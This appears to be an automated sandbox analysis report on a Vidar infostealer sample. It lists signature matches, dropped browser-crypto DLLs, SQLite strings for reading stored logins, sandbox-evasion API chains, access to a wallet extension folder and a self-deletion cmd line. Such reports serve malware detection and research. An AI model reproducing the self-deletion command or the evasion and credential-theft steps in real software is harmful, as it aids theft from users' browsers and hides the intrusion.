Source: 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: m0wsoI3.exe PID: 7292, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: m0wsoI3.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/16@1/1

Source: C:\Users\user\Desktop\m0wsoI3.exe

File created: C:\Users\user\Desktop\DBAI5X4O

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Users\user\Desktop\m0wsoI3.exe	Mutant created: NULL

Source: C:\Users\user\Desktop\m0wsoI3.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: m0wsoI3.exe, m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: m0wsoI3.exe, m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: m0wsoI3.exe, m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: m0wsoI3.exe, 00000000.00000002.1308321209.000000000F223000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1314801016.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: CBIEU37Q.0.dr, 2NOH4EKN.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:

Source: m0wsoI3.exe	Virustotal: Detection: 82%
Source: m0wsoI3.exe	ReversingLabs: Detection: 83%

Source: unknown	Process created: C:\Users\user\Desktop\m0wsoI3.exe "C:\Users\user\Desktop\m0wsoI3.exe"
Source: C:\Users\user\Desktop\m0wsoI3.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\m0wsoI3.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\m0wsoI3.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\m0wsoI3.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: m0wsoI3.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\m0wsoI3.exe

Unpacked PE file: 0.2.m0wsoI3.exe.60900000.1.unpack

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_00409220 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00409220

Source: m0wsoI3.exe	Static PE information: section name:
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: mozglue.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60983000 pushad ; iretd	0_2_60983031
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6096D990 push eax; ret	0_2_6096D9C0
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60911F9E push ecx; mov dword ptr [esp], ebx	0_2_60911FD3
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60987F71 pushad ; iretd	0_2_60987F74

Source: m0wsoI3.exe

Static PE information: section name: .text entropy: 7.245682295128179

Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\m0wsoI3.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\m0wsoI3.exe" & exit
Source: C:\Users\user\Desktop\m0wsoI3.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\m0wsoI3.exe" & exit			Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_00415FC0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_00415FC0

Source: C:\Users\user\Desktop\m0wsoI3.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_00408370

0_2_00408370

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\m0wsoI3.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-54122

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\m0wsoI3.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-52840

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\m0wsoI3.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-52847

Source: C:\Users\user\Desktop\m0wsoI3.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\m0wsoI3.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_00408370

0_2_00408370

Source: C:\Windows\SysWOW64\timeout.exe TID: 7924

Thread sleep count: 40 > 30

Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00407620
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040A150
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_0040B570
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B110
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B3A0

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_6092A5DC sqlite3_os_init,GetSystemInfo,

0_2_6092A5DC

Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: QIEKNGVA.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
